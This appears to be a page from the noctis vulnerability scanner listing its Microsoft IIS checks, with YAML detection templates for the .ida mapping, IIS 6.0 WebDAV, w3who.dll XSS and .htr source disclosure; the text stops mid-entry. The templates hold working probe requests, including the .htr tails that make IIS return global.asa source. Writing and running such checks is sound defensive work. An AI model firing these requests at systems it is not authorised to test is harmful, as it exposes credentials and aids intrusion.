Microsoft IIS — 8 vulnerability checks

noctis ships 8 vulnerability checks for Microsoft IIS, covering 10 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Microsoft IIS .IDA ISAPI filter mapped

CVECVE-2001-0500
Severitycritical · CVSS 10.0
Categoryexposure — Exposure
Serviceshttp, https
Detectionset_var, script, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/microsoft-iis/CVE-2001-0500.yaml

Requests a random, non-existent .ida file and checks that IIS hands it to the Indexing Service ISAPI extension (idq.dll), which answers "The IDQ file <path>\<name>.ida could not be found". That DLL carries the MS01-033 buffer overflow (CVE-2001-0500, Code Red). The overflow is not sent.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /{{ida_name}}.ida HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks ida_resp.banner for IDQ[^\r\n]*noctis[0-9a-f]+\.ida → finding QoD 75: Microsoft IIS .IDA ISAPI filter (idq.dll) mapped — CVE-2001-0500

References:

Feed source — tests/vulnerabilities/microsoft-iis/CVE-2001-0500.yaml
# Microsoft IIS .IDA ISAPI filter mapped (Indexing Service, MS01-033) — CVE-2001-0500
#
# Ported from OpenVAS/Greenbone NVT pre2008/iis_ida_isapi.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10695, GPL-2.0-only).
#
# The .ida/.idq extensions are handled by idq.dll (Indexing Service ISAPI).
# MS01-033 (CVE-2001-0500, the Code Red vector) is an unchecked buffer in
# that DLL giving remote SYSTEM code execution. When the .ida mapping is
# present and "Check that file exists" is off, a request for a missing
# .ida file is handed to idq.dll, which answers with its own error:
#
#   <HTML>The IDQ file c:\inetpub\wwwroot\x.ida could not be found.
#
# The NASL asks for /NULL.ida and greps "HTML.*IDQ.*NULL\.ida".
#
# Deviations from the NASL (stronger, fewer false positives):
#  - a per-run random file name (noctis<hex>.ida) instead of the static
#    NULL.ida, and the reply must quote THAT name inside the idq.dll error
#    sentence ("IDQ file ... <name>.ida could not be found"). A static page,
#    a honeypot or a generic 404 that merely reflects the path cannot
#    produce this; the NASL's loose ".*IDQ.*NULL\.ida" would.
#  - a localized idq.dll message (IIS in another language) still matches:
#    "IDQ" plus the random name behind a Windows path backslash.
#  - the reply is not required to start with "<HTML>" (the NASL drops the
#    finding when the error body is served without it).
#
# SAFE CHECK ONLY: the overflow itself is a memory-corruption bug with no
# echo primitive — triggering it crashes or owns the worker process — so it
# is never sent. The feed proves the vulnerable component (idq.dll behind
# the .ida mapping) is reachable from the network, which is what the NASL
# reports; a host patched for MS01-033 but still mapping .ida is reported
# too (Microsoft's guidance is to unmap .ida/.idq even when patched).
uid: f5e02d3d-4891-4e0a-92df-a5eea0bfd246
name: "Microsoft IIS .IDA ISAPI filter mapped (CVE-2001-0500)"
description: |
  Requests a random, non-existent .ida file and checks that IIS hands it to
  the Indexing Service ISAPI extension (idq.dll), which answers "The IDQ file
  <path>\<name>.ida could not be found". That DLL carries the MS01-033 buffer
  overflow (CVE-2001-0500, Code Red). The overflow is not sent.
cves: [CVE-2001-0500]
cvss: 10.0
severity: critical
category: exposure
confidence_base: 0.30
tags: [iis, microsoft, isapi, ida, idq, indexing-service, ms01-033, code-red]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0500"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-033"
  - "https://seclists.org/bugtraq/2000/Jan/204"

steps:
  - id: init-hit
    action: set_var
    var_name: idq_hit
    var_value: false

  # Per-run random file name, so only a live idq.dll can quote it back.
  - id: mint-name
    action: script
    code: '"noctis" + rand_hex(6)'
    store_as: ida_name

  # Raw request, same shape as the NASL's http_get (no URL normalisation).
  - id: probe-ida
    action: tcp_connect
    port: "{{port}}"
    send: "GET /{{ida_name}}.ida HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: ida_resp

  # The idq.dll error must name OUR random file: either the English sentence,
  # or (localized IIS) "IDQ" plus our name behind a Windows path backslash —
  # the physical path idq.dll quotes; a 404 page reflecting the URL has "/".
  - id: check-idq-error
    action: script
    code: |
      let b = ida_resp.banner;
      if type_of(b) != "string" { false } else {
        let l = tolower(b);
        let name = tolower(ida_name) + ".ida";
        (l.contains("the idq file ") && l.contains(name + " could not be found"))
          || (l.contains("idq") && l.contains("\\" + name))
      }
    store_as: idq_hit

  - id: confirm-ida-mapping
    action: match
    source: ida_resp.banner
    pattern: "IDQ[^\\r\\n]*noctis[0-9a-f]+\\.ida"
    case_insensitive: true
    condition: "idq_hit == true"
    on_match:
      finding:
        title: "Microsoft IIS .IDA ISAPI filter (idq.dll) mapped — CVE-2001-0500"
        description: "IIS passed a request for a random, non-existent .ida file to the Indexing Service ISAPI extension (idq.dll), which answered with its own 'IDQ file ... could not be found' error. idq.dll is affected by the MS01-033 unchecked buffer (CVE-2001-0500, exploited by Code Red) giving remote SYSTEM code execution on unpatched hosts. The overflow was not sent: the patch level is not proven."
        remediation: "Apply MS01-033 and remove the .ida and .idq script mappings (or enable 'Check that file exists' on them) unless the Indexing Service web query feature is required; migrate off end-of-life IIS 4.0/5.0."
        confidence_delta: 0.55
        qod: 75
        evidence: "idq.dll answered for GET /{{ida_name}}.ida: {{ida_resp.banner}}"
      stop: true

Microsoft IIS 6.0 WebDAV ScStoragePathFromUrl RCE

CVECVE-2017-7269
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/microsoft-iis/CVE-2017-7269.yaml

Safe differential fingerprint for the IIS 6.0 WebDAV buffer overflow. Confirms a Microsoft-IIS/6.0 server with WebDAV enabled (PROPFIND -> 207 Multi-Status) while a plain OPTIONS control does not return 207, without sending the overflow payload.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: OPTIONS / HTTP/1.1
  2. Checks ctrl_resp.banner for Server:\s*Microsoft-IIS/6\.0
  3. Checks ctrl_resp.banner for HTTP/1\.[01]\s+207
  4. Raw TCP (TLS on HTTPS), sent verbatim: PROPFIND / HTTP/1.1
  5. Checks dav_resp.banner for HTTP/1\.[01]\s+207\s+Multi-Status
  6. Checks dav_resp.banner for multistatus → finding QoD 75: Microsoft IIS 6.0 WebDAV enabled — vulnerable to CVE-2017-7269

References:

Feed source — tests/vulnerabilities/microsoft-iis/CVE-2017-7269.yaml
# Microsoft IIS 6.0 WebDAV ScStoragePathFromUrl Buffer Overflow RCE — CVE-2017-7269
#
# Windows Server 2003 R2 / IIS 6.0 ships a WebDAV service whose
# ScStoragePathFromUrl() mishandles an over-long header on a PROPFIND
# request, yielding unauthenticated remote code execution (CISA KEV,
# EPSS ~1.0, CVSS 9.8). Actively exploited in the wild.
#
# SAFE DETECTION ONLY — this is a memory-corruption bug with no echo
# primitive, so we DO NOT send the overflow / shellcode. Instead we
# fingerprint the *vulnerable configuration* with a tight, differential
# response-analysis check (QoD 75):
#
#   Signal A — Server banner reports "Microsoft-IIS/6.0"
#   Signal B — WebDAV is ENABLED: a normal PROPFIND returns 207
#              Multi-Status with a DAV multistatus body (patched / WebDAV
#              disabled hosts answer 403 / 501 instead).
#
# Guard: a plain OPTIONS control request must NOT itself return 207 — this
# rules out a server that answers 207 to everything, and a non-IIS host or
# an IIS host with WebDAV disabled both fail the combined condition.
# Only a benign, normal-length If: header is sent to reach the WebDAV code
# path; never an oversized value and never shellcode.
uid: 47e02d86-12bc-4bcb-b96e-c0294aca922f
name: "Microsoft IIS 6.0 WebDAV ScStoragePathFromUrl RCE (CVE-2017-7269)"
description: |
  Safe differential fingerprint for the IIS 6.0 WebDAV buffer overflow.
  Confirms a Microsoft-IIS/6.0 server with WebDAV enabled (PROPFIND -> 207
  Multi-Status) while a plain OPTIONS control does not return 207, without
  sending the overflow payload.
cves: [CVE-2017-7269]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [iis, microsoft, webdav, propfind, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-7269"
  - "https://github.com/zcgonvh/cve-2017-7269"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7269.yaml"

steps:
  # Guard vars — initialise before use (undefined var in a condition throws).
  - id: init-iis
    action: set_var
    var_name: iis_banner
    var_value: false

  - id: init-webdav
    action: set_var
    var_name: webdav_enabled
    var_value: false

  - id: init-control207
    action: set_var
    var_name: control_is_207
    var_value: false

  # ── Control: a plain OPTIONS request ─────────────────────────────────────
  # Used both to read the Server banner and as a differential baseline: a
  # genuine WebDAV server answers OPTIONS with 200 (never 207), so a host
  # that returns 207 here is answering 207 to everything -> not a real
  # WebDAV PROPFIND handler.
  - id: control-options
    action: tcp_connect
    port: "{{port}}"
    send: "OPTIONS / HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: ctrl_resp

  - id: match-iis-banner
    action: match
    source: ctrl_resp.banner
    pattern: "Server:\\s*Microsoft-IIS/6\\.0"
    case_insensitive: true
    on_match:
      set_vars:
        iis_banner: true

  - id: match-control-207
    action: match
    source: ctrl_resp.banner
    pattern: "HTTP/1\\.[01]\\s+207"
    on_match:
      set_vars:
        control_is_207: true

  # ── Probe: a normal PROPFIND (reaches the WebDAV code path) ──────────────
  # tcp_connect is required: the PROPFIND method and the If: header carry
  # characters reqwest would mangle. The If: value is a benign, normal-length
  # lock token — NOT an overflow. Depth: 0 keeps the request minimal.
  - id: probe-propfind
    action: tcp_connect
    port: "{{port}}"
    send: "PROPFIND / HTTP/1.1\r\nHost: {{target_host}}\r\nDepth: 0\r\nIf: (<locktoken:noctis-probe>)\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: dav_resp

  - id: match-webdav-207
    action: match
    source: dav_resp.banner
    pattern: "HTTP/1\\.[01]\\s+207\\s+Multi-Status"
    case_insensitive: true
    condition: "iis_banner == true"
    on_match:
      set_vars:
        webdav_enabled: true

  # ── Finding: both signals present, control did not false-positive ────────
  - id: confirm-vulnerable-config
    action: match
    source: dav_resp.banner
    pattern: "multistatus"
    case_insensitive: true
    condition: "iis_banner == true && webdav_enabled == true && control_is_207 == false"
    on_match:
      finding:
        title: "Microsoft IIS 6.0 WebDAV enabled — vulnerable to CVE-2017-7269"
        description: "Microsoft-IIS/6.0 with WebDAV enabled (PROPFIND -> 207 Multi-Status). This configuration is affected by the ScStoragePathFromUrl buffer overflow RCE."
        remediation: "Disable the WebDAV extension in IIS 6.0, or migrate off end-of-life Windows Server 2003 / IIS 6.0."
        confidence_delta: 0.50
        qod: 75
        evidence: "IIS/6.0 banner + WebDAV PROPFIND 207 (OPTIONS control not 207): {{dav_resp.banner}}"
      stop: true

Microsoft W3Who ISAPI (w3who.dll) reflected XSS and buffer overflow

CVECVE-2004-1133, CVE-2004-1134
Severitycritical · CVSS 10.0
Categoryxss — XSS
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/microsoft-iis/w3who-dll-xss-overflow.yaml

Checks for the W3Who ISAPI extension (w3who.dll) from the Windows 2000/XP Resource Kit, which discloses the caller's access token and the server environment, echoes invalid parameters unescaped in its error page (CVE-2004-1133) and overflows a stack buffer on a long query string (CVE-2004-1134). No fixed version was ever released. The test requests /scripts/w3who.dll and expects an HTTP 200 page listing the access token and its security identifiers (SIDs), then sends an invalid parameter carrying a random, inert HTML tag and reports the cross-site scripting as confirmed when the tag comes back unescaped. If the tag is not echoed, the exposed extension is reported at a lower confidence. The long query string that triggers the overflow is never sent, because it crashes the web server worker process.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /scripts/w3who.dll HTTP/1.0
  3. Checks page.banner for \AHTTP/1\.[01] 200[^\r\n]*\r?\n(?s:.*)(?:Access Token(?s:.*)\bS-1-\d+…
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /scripts/w3who.dll?bogus=<{{tag}}> HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks verdict for ^W3WHO_XSS_CONFIRMED$ → finding QoD 75: Microsoft W3Who ISAPI (w3who.dll) reflected XSS confirmed — CVE-2004-1133, CVE-2004-1134
  7. Checks verdict for ^W3WHO_EXPOSED$ → finding QoD 70: Microsoft W3Who ISAPI (w3who.dll) exposed — CVE-2004-1133, CVE-2004-1134

References:

Feed source — tests/vulnerabilities/microsoft-iis/w3who-dll-xss-overflow.yaml
# Microsoft W3Who ISAPI (w3who.dll) — reflected XSS + buffer overflow
# (CVE-2004-1133, CVE-2004-1134)
#
# Ported from OpenVAS/Greenbone NVT pre2008/w3who_dll.nasl
# (OID 1.3.6.1.4.1.25623.1.0.15910, GPL-2.0-only).
#
# w3who.dll is a Windows 2000/XP Resource Kit ISAPI extension that dumps the
# caller's access token (user, SIDs, groups, privileges) and the server
# environment variables. Exaprobe ESA-2004-1206 (6 Dec 2004) reported:
#   - CVE-2004-1133: reflected XSS — invalid query parameters are echoed
#     unescaped in the DLL's error page (PoC: /scripts/w3who.dll?bogus=<script>…),
#     and so are some request headers (Connection);
#   - CVE-2004-1134: stack buffer overflow on a long query string (519+ chars).
# Microsoft withdrew the download and never shipped a fixed build, so every
# reachable w3who.dll carries both flaws.
#
# The NASL GETs /scripts/w3who.dll, greps "Access Token", and — with safe
# checks off — sends a 600-byte query and looks for an HTTP 500 "Error" page,
# i.e. it fires the overflow itself.
#
# Deviations from the NASL (stronger, and never sends the overflow):
#  - the page must come back HTTP 200 with "Access Token" (the NASL greps the
#    whole reply, status line included);
#  - the XSS is proven in-band: a per-run inert tag <noctis<hex>> is sent in an
#    invalid parameter, exactly like the advisory PoC, and must come back
#    unescaped from w3who.dll → QoD 75. A static page cannot echo a random tag;
#  - the long-query overflow probe is dropped: it crashes or hijacks the IIS
#    worker process. When the tag is not echoed (e.g. a filter in front of
#    IIS strips "<"), the exposed DLL is still reported at QoD 70, since no
#    fixed version exists;
#  - the evidence never copies the page: it lists the caller's SIDs and the
#    server environment.
uid: dcb84f52-2946-441c-99b7-fc87753d7de8
name: "Microsoft W3Who ISAPI (w3who.dll) reflected XSS and buffer overflow (CVE-2004-1133, CVE-2004-1134)"
description: |
  Checks for the W3Who ISAPI extension (w3who.dll) from the Windows 2000/XP
  Resource Kit, which discloses the caller's access token and the server
  environment, echoes invalid parameters unescaped in its error page
  (CVE-2004-1133) and overflows a stack buffer on a long query string
  (CVE-2004-1134). No fixed version was ever released. The test requests
  /scripts/w3who.dll and expects an HTTP 200 page listing the access token and its security identifiers (SIDs),
  then sends an invalid parameter carrying a random, inert HTML tag and
  reports the cross-site scripting as confirmed when the tag comes back
  unescaped. If the tag is not echoed, the exposed extension is reported at a
  lower confidence. The long query string that triggers the overflow is never
  sent, because it crashes the web server worker process.
cves: [CVE-2004-1133, CVE-2004-1134]
cvss: 10.0
severity: critical
category: xss
confidence_base: 0.30
tags: [iis, microsoft, isapi, w3who, resource-kit, xss, buffer-overflow, information-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1133"
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1134"
  - "https://seclists.org/vulnwatch/2004/q4/26"

steps:
  # Per-run inert tag, so only a live reflection can echo it back.
  - id: mint-tag
    action: script
    code: '"noctis" + rand_hex(8)'
    store_as: tag

  # Raw request, same as the NASL's http_get.
  - id: probe-page
    action: tcp_connect
    port: "{{port}}"
    send: "GET /scripts/w3who.dll HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: page

  # HTTP 200 + the access-token dump: the "Access Token" heading AND at least
  # one Windows SID (S-1-<authority>-…), which the page always lists, so a
  # catch-all 200 page that merely mentions "Access Token" (OAuth/API docs)
  # does not count. Stored only (no finding here): the verdict below decides
  # which finding fires.
  - id: page-check
    action: match
    source: page.banner
    pattern: '\AHTTP/1\.[01] 200[^\r\n]*\r?\n(?s:.*)(?:Access Token(?s:.*)\bS-1-\d+-\d+|\bS-1-\d+-\d+(?s:.*)Access Token)'
    store_as: page_m

  # The advisory's PoC shape: an invalid parameter whose value is echoed in
  # the DLL's error page. "<" and ">" are sent raw (tcp_connect, no URL
  # normalisation), as a browser of the time did.
  - id: probe-xss
    action: tcp_connect
    condition: "page_m.matched == true"
    port: "{{port}}"
    send: "GET /scripts/w3who.dll?bogus=<{{tag}}> HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: xss

  # Fixed verdict string as the match source: nothing from the target (SIDs,
  # environment) reaches the finding.
  - id: verdict
    action: script
    code: |
      let v = "";
      if page_m.matched == true {
        v = "W3WHO_EXPOSED";
        let b = if is_def_var("xss") { xss.banner } else { () };
        if type_of(b) == "string" && b.contains("<" + tag + ">") {
          v = "W3WHO_XSS_CONFIRMED";
        }
      }
      v
    store_as: verdict

  - id: xss-confirmed
    action: match
    source: verdict
    pattern: '^W3WHO_XSS_CONFIRMED$'
    on_match:
      finding:
        title: "Microsoft W3Who ISAPI (w3who.dll) reflected XSS confirmed — CVE-2004-1133, CVE-2004-1134"
        description: "/scripts/w3who.dll answered with the caller's access token dump and echoed a random HTML tag sent in an invalid parameter back unescaped, confirming the reflected cross-site scripting (CVE-2004-1133). The same extension discloses the caller's SIDs, privileges and the server environment, and overflows a stack buffer on a long query string (CVE-2004-1134, remote code execution); no fixed version exists. The overflow was not sent."
        remediation: "Remove w3who.dll from the web server (or at least deny anonymous and remote access to it). Microsoft withdrew the tool and will not release a fixed version; do not run Resource Kit diagnostics on production servers."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /scripts/w3who.dll returned HTTP 200 with an access token dump (SIDs); GET /scripts/w3who.dll?bogus=<{{tag}}> echoed the tag unescaped"
      stop: true

  - id: exposed-only
    action: match
    source: verdict
    pattern: '^W3WHO_EXPOSED$'
    on_match:
      finding:
        title: "Microsoft W3Who ISAPI (w3who.dll) exposed — CVE-2004-1133, CVE-2004-1134"
        description: "/scripts/w3who.dll answered with the caller's access token dump. This Resource Kit extension discloses the caller's SIDs, privileges and the server environment, is affected by a reflected cross-site scripting (CVE-2004-1133) and a stack buffer overflow on a long query string (CVE-2004-1134, remote code execution), and no fixed version exists. The random tag sent in an invalid parameter was not echoed unescaped (a filter may sit in front of IIS); the overflow was not sent."
        remediation: "Remove w3who.dll from the web server (or at least deny anonymous and remote access to it). Microsoft withdrew the tool and will not release a fixed version; do not run Resource Kit diagnostics on production servers."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET /scripts/w3who.dll returned HTTP 200 with an access token dump (SIDs); the tag sent in GET /scripts/w3who.dll?bogus=<{{tag}}> was not echoed unescaped"
      stop: true

Microsoft IIS .htr source fragment disclosure

CVECVE-2000-0457, CVE-2000-0630
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/microsoft-iis/iis-htr-source-fragment-disclosure.yaml

Checks whether a Microsoft IIS 4.0 or 5.0 server discloses the source of its server-side files through ISM.DLL, the handler of .htr requests. The test follows the redirect of the home page to the default application, then, in that directory and in the site root, requests global.asa with a ".htr" tail in the two forms ISM.DLL mishandles: a long run of encoded spaces before ".htr" (fixed by MS00-031) and "+.htr" (fixed by MS00-044). The server is reported when such a request returns global.asa's server-side script (a <SCRIPT RUNAT=Server> or <OBJECT RUNAT=Server> element) while a direct request for the same global.asa does not, and the same ".htr" request for a global.asa in a non-existent directory returns nothing of the kind. Each form is reported with its own CVE. The disclosed source is not copied into the finding, as it often holds database passwords. Only read-only GET requests are sent.

How noctis detects it

  1. HTTP(S) request GET /
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}global.asa{{sp_tail}}
  6. HTTP(S) request GET {{dir}}global.asa+.htr
  7. HTTP(S) request GET {{dir}}global.asa
  8. HTTP(S) request GET {{dir}}noctis-absent-{{oob_token}}/global.asa{{sp_tail}}
  9. HTTP(S) request GET {{dir}}noctis-absent-{{oob_token}}/global.asa+.htr
  10. Parses / computes the next value with a Rhai script
  11. Checks verdict.sp for ^IIS_HTR_SPACES$ → finding QoD 75: Microsoft IIS .htr file fragment reading (MS00-031) — CVE-2000-0457
  12. Checks verdict.pl for ^IIS_HTR_PLUS$ → finding QoD 75: Microsoft IIS +.htr source fragment disclosure (MS00-044) — CVE-2000-0630

References:

Feed source — tests/vulnerabilities/microsoft-iis/iis-htr-source-fragment-disclosure.yaml
# Microsoft IIS 4.0/5.0 — ISM.DLL ".htr" source fragment disclosure
# (CVE-2000-0457 / MS00-031 and CVE-2000-0630 / MS00-044)
#
# Ported from OpenVAS/Greenbone NVT pre2008/iis_frag_disclosure.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10680, GPL-2.0-only).
#
# IIS maps the .htr extension to ISM.DLL. A request for an existing file with
# a ".htr" tail makes ISM.DLL strip the tail and return the file itself, minus
# anything between "<%" and "%>" (SecurityFocus BID 1193 / 1488, CERT
# VU#28565). global.asa keeps its code in <SCRIPT RUNAT=Server> blocks, so its
# source (often database connection strings) comes back whole, while a direct
# GET /global.asa is always refused by IIS (HTTP 500.15).
#   CVE-2000-0457  global.asa + ~230 × "%20" + ".htr"   (MS00-031)
#   CVE-2000-0630  global.asa + "+.htr"                 (MS00-044)
#
# The NASL follows the redirect of "/" to the default application, requests
# <dir>global.asa+.htr and reports a 200 containing "RUNAT", or merely a 401
# or 403 on that request. Deviations (stronger):
#  - the 401/403 branches are dropped: an access-denied reply proves nothing
#    was disclosed (any server protecting the directory answers so);
#  - the proof is a <SCRIPT|OBJECT … RUNAT=Server> element in a 200 reply,
#    and two controls must stay clean: a direct GET of the same global.asa
#    (a server that serves the file as plain text is not this flaw) and the
#    same ".htr" request on a global.asa under a missing directory (a
#    honeypot answering every ".htr" request);
#  - both the application directory from the "/" redirect and the site root
#    are probed (the NASL probes only one of them);
#  - the MS00-031 variant (CVE-2000-0457) is tested too, before the "+.htr"
#    one, and reported as its own finding. ISM.DLL answers that variant only
#    until it has served one .htr request, so a miss there proves nothing.
#  - no Server-banner gate: a reverse proxy may rewrite the header, and the
#    ISM.DLL tail handling plus the controls are specific enough.
# global.asa may hold passwords: the reply never reaches the finding — the
# match runs on a fixed verdict string and the evidence gives only a length.
#
# CVSS: NVD has only CVSS v2 scores for these CVEs (CVE-2000-0457 7.5,
# CVE-2000-0630 5.0); each finding carries the score of the CVE it proves.
uid: 36071f47-0e90-40ce-afe9-07556245e8a0
name: "Microsoft IIS .htr source fragment disclosure (CVE-2000-0457, CVE-2000-0630)"
description: |
  Checks whether a Microsoft IIS 4.0 or 5.0 server discloses the source of
  its server-side files through ISM.DLL, the handler of .htr requests. The
  test follows the redirect of the home page to the default application,
  then, in that directory and in the site root, requests global.asa with a
  ".htr" tail in the two forms ISM.DLL mishandles: a long run of encoded
  spaces before ".htr" (fixed by MS00-031) and "+.htr" (fixed by MS00-044).
  The server is reported when such a request returns global.asa's
  server-side script (a <SCRIPT RUNAT=Server> or <OBJECT RUNAT=Server>
  element) while a direct request for the same global.asa does not, and the
  same ".htr" request for a global.asa in a non-existent directory returns
  nothing of the kind. Each form is reported with its own CVE. The disclosed
  source is not copied into the finding, as it often holds database
  passwords. Only read-only GET requests are sent.
cves: [CVE-2000-0457, CVE-2000-0630]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [iis, microsoft, ism-dll, htr, source-disclosure, ms00-031, ms00-044, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2000-0457"
  - "https://nvd.nist.gov/vuln/detail/CVE-2000-0630"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-031"
  - "https://learn.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-044"
  - "https://www.kb.cert.org/vuls/id/28565"

steps:
  - id: init-root
    action: set_var
    var_name: root_r
    var_value: {status: 0, headers: {}}

  - id: init-found-spaces
    action: set_var
    var_name: found_sp
    var_value: false

  # Home page: IIS answers 302 with the default application's page when the
  # site's home lives in an application directory.
  - id: home
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    store_as: root_r

  # Directory of the redirect target: path part of Location, cut after its
  # last "/". "/" when there is no usable redirect.
  - id: app-dir
    action: script
    code: |
      let base = "/";
      if root_r.status >= 301 && root_r.status <= 303 && "location" in root_r.headers {
        let loc = root_r.headers["location"];
        if type_of(loc) == "string" {
          let p = ereg_replace(`^[A-Za-z][A-Za-z0-9+.-]*://[^/]*`, "", loc);
          p = ereg_replace(`[?#].*$`, "", p);
          p = ereg_replace(`[^/]*$`, "", p);
          if ereg(`^/[A-Za-z0-9._~!$&'()*,;=:@%/-]*$`, p) && !ereg(`(^|/)\.\.?(/|$)`, p) {
            base = p;
          }
        }
      }
      base
    store_as: app_dir

  - id: init-pass
    action: set_var
    var_name: sp_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["app", "root"]
      var: pass

  - id: init-plus
    action: set_var
    var_name: pl_r
    var_value: {status: 0, body: ""}

  - id: init-direct
    action: set_var
    var_name: dc_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-spaces
    action: set_var
    var_name: c1_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-plus
    action: set_var
    var_name: c2_r
    var_value: {status: 0, body: ""}

  # "" = nothing to probe on this pass (root already probed as the app dir).
  - id: dir
    action: script
    code: |
      if pass == "app" { app_dir } else if app_dir == "/" { "" } else { "/" }
    store_as: dir

  - id: spaces-tail
    action: script
    code: 'crap(690, "%20") + ".htr"'   # 230 × "%20"
    store_as: sp_tail

  # MS00-031 form first: ISM.DLL honours it only until it has served one .htr
  # request.
  - id: probe-spaces
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{dir}}global.asa{{sp_tail}}"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    condition: 'dir != "" && found_sp == false'
    store_as: sp_r

  - id: probe-plus
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{dir}}global.asa+.htr"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    condition: 'dir != ""'
    store_as: pl_r

  # Control 1: the file itself must not be served as plain text.
  - id: direct
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{dir}}global.asa"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    condition: 'dir != "" && (sp_r.status == 200 || pl_r.status == 200)'
    store_as: dc_r

  # Controls 2/3: same request on a global.asa under a missing directory.
  - id: ctl-spaces
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{dir}}noctis-absent-{{oob_token}}/global.asa{{sp_tail}}"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    condition: 'dir != "" && sp_r.status == 200'
    store_as: c1_r

  - id: ctl-plus
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{dir}}noctis-absent-{{oob_token}}/global.asa+.htr"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    condition: 'dir != "" && pl_r.status == 200'
    store_as: c2_r

  # Fixed verdict strings: the disclosed source never reaches the finding.
  - id: verdict
    action: script
    code: |
      let re = `(?i)<\s*(?:script|object)\b[^>]*\brunat\s*=\s*["']?server\b`;
      let has = |r| type_of(r.body) == "string" && ereg(re, r.body);
      let direct_clean = dc_r.status != 0 && !has.call(dc_r);
      let sp = sp_r.status == 200 && has.call(sp_r) && direct_clean
               && c1_r.status != 0 && !has.call(c1_r);
      let pl = pl_r.status == 200 && has.call(pl_r) && direct_clean
               && c2_r.status != 0 && !has.call(c2_r);
      #{
        sp: if sp { "IIS_HTR_SPACES" } else { "" },
        pl: if pl { "IIS_HTR_PLUS" } else { "" },
        sp_len: if sp { strlen(sp_r.body) } else { 0 },
        pl_len: if pl { strlen(pl_r.body) } else { 0 }
      }
    store_as: verdict

  - id: report-spaces
    action: match
    source: verdict.sp
    pattern: '^IIS_HTR_SPACES$'
    on_match:
      set_vars:
        found_sp: true
      finding:
        title: "Microsoft IIS .htr file fragment reading (MS00-031) — CVE-2000-0457"
        description: "ISM.DLL returned the source of global.asa when the file name was followed by a long run of encoded spaces and a \".htr\" extension, while IIS refuses a direct request for the same file. Any server-side file whose name is known (.asa, .asp, .inc, .ini) can be read the same way, including the database connection strings and passwords they often hold (CVE-2000-0457, fixed by MS00-031)."
        remediation: "Install MS00-031 and MS00-044 (or a later IIS cumulative update), or remove the .htr script mapping (ISM.DLL) from every web site, as Microsoft recommends; upgrade to a supported IIS version."
        cves: [CVE-2000-0457]
        cvss: 7.5
        severity: high
        confidence_delta: 0.55
        qod: 75
        evidence: "global.asa + 230 × %20 + .htr returned HTTP 200 with {{verdict.sp_len}} bytes of global.asa server-side script (<SCRIPT|OBJECT RUNAT=Server>, contents withheld); a direct GET of global.asa returned HTTP {{dc_r.status}} without it, and the same request under a missing directory returned HTTP {{c1_r.status}} without it. Directory: {{dir}}"

  - id: report-plus
    action: match
    source: verdict.pl
    pattern: '^IIS_HTR_PLUS$'
    on_match:
      finding:
        title: "Microsoft IIS +.htr source fragment disclosure (MS00-044) — CVE-2000-0630"
